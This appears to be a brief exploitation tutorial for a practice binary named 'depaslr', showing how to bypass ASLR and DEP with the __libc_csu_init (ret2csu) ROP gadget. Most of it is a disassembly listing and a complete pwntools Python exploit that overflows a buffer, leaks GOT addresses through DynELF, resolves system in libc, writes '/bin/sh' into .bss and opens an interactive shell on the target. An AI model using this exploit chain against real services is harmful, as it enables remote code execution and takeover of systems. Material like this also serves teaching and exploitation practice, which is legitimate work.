1
sudo -s echo 1 > /proc/sys/kernel/randomize_va_space

enable aslr+DEP

find a common ropgadget to bypass them

1
objdump -d ./depaslr |grep __libc_csu_init

and view the disassembly

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
00000000004005a0 <__libc_csu_init>:
4005a0: 41 57 push r15
4005a2: 41 89 ff mov r15d,edi
4005a5: 41 56 push r14
4005a7: 49 89 f6 mov r14,rsi
4005aa: 41 55 push r13
4005ac: 49 89 d5 mov r13,rdx
4005af: 41 54 push r12
4005b1: 4c 8d 25 c8 01 20 00 lea r12,[rip+0x2001c8] # 600780 <__frame_dummy_init_array_entry>
4005b8: 55 push rbp
4005b9: 48 8d 2d c8 01 20 00 lea rbp,[rip+0x2001c8] # 600788 <__init_array_end>
4005c0: 53 push rbx
4005c1: 4c 29 e5 sub rbp,r12
4005c4: 31 db xor ebx,ebx
4005c6: 48 c1 fd 03 sar rbp,0x3
4005ca: 48 83 ec 08 sub rsp,0x8
4005ce: e8 0d fe ff ff call 4003e0 <_init>
4005d3: 48 85 ed test rbp,rbp
4005d6: 74 1e je 4005f6 <__libc_csu_init+0x56>
4005d8: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0]
4005df: 00
4005e0: 4c 89 ea mov rdx,r13
4005e3: 4c 89 f6 mov rsi,r14
4005e6: 44 89 ff mov edi,r15d
4005e9: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
4005ed: 48 83 c3 01 add rbx,0x1 //rbx=0+1=1
4005f1: 48 39 eb cmp rbx,rbp //rbp=1
4005f4: 75 ea jne 4005e0 <__libc_csu_init+0x40>
4005f6: 48 83 c4 08 add rsp,0x8 //rsp=rsp+8
4005fa: 5b pop rbx
4005fb: 5d pop rbp
4005fc: 41 5c pop r12
4005fe: 41 5d pop r13
400600: 41 5e pop r14
400602: 41 5f pop r15
400604: c3 ret
400605: 66 66 2e 0f 1f 84 00 data16 nop WORD PTR cs:[rax+rax*1+0x0]
40060c: 00 00 00 00

the key point is there

1
2
4005e0: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
4005fa: 5b pop rbx

control r12 , control the RIP , control the RIP , control the world~

the calling convention under x64:

1
2
param1 param2 param3
rdi(edi) rsi rdx

we know

1
rdx=r13 rsi=r14 edi=r15

so that

1
r15=param1 r14=param2 r13=param3

the common ropgadget

1
payload=bufferlength|4005fa|0|1|got_write|8|leak address|1|4005a0|buffer56|main_addr

full exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/usr/bin/env python
from pwn import *
rawfile=ELF('depaslr')
#target=process('./depaslr')
target=remote('127.0.0.1',6666)
got_write=rawfile.got['write']
print "got_write: " + hex(got_write)
got_read =rawfile.got['read']
print "got_read: " + hex(got_read)
bss_addr=0x00000000006009b8
main_addr=0x400450
def leak(address):
payload='A'*72
payload+=p64(0x4005fa)
payload+=p64(0)
payload+=p64(1)
payload+=p64(got_write)
payload+=p64(8)
payload+=p64(address)
payload+=p64(1)
payload+=p64(0x4005e0)
payload+='A'*56
payload+=p64(main_addr)
target.send(payload)
data = target.recv(8)
return data
d = DynELF(leak, elf=rawfile)
system_addr = d.lookup('system', 'libc')
print "find systemaddr at "+ (hex(system_addr))
print "write /bin/sh at bss section"
#write /bin/sh at bss section
payload='A'*72
payload+=p64(0x4005fa)
payload+=p64(0)
payload+=p64(1)
payload+=p64(got_read)
payload+=p64(16)
payload+=p64(bss_addr)
payload+=p64(0)#input stream
payload+=p64(0x4005e0)
payload+='A'*56
payload+=p64(main_addr)
target.send(payload)
sleep(1)
target.send(p64(system_addr))
target.send("/bin/sh\0")
sleep(1)
#system
payload='A'*72
payload+=p64(0x4005fa)
payload+=p64(0)
payload+=p64(1)
payload+=p64(bss_addr)
payload+=p64(0)
payload+=p64(0)
payload+=p64(bss_addr+8)
payload+=p64(0x4005e0)
payload+='A'*56
payload+=p64(main_addr)
target.send(payload)
target.interactive()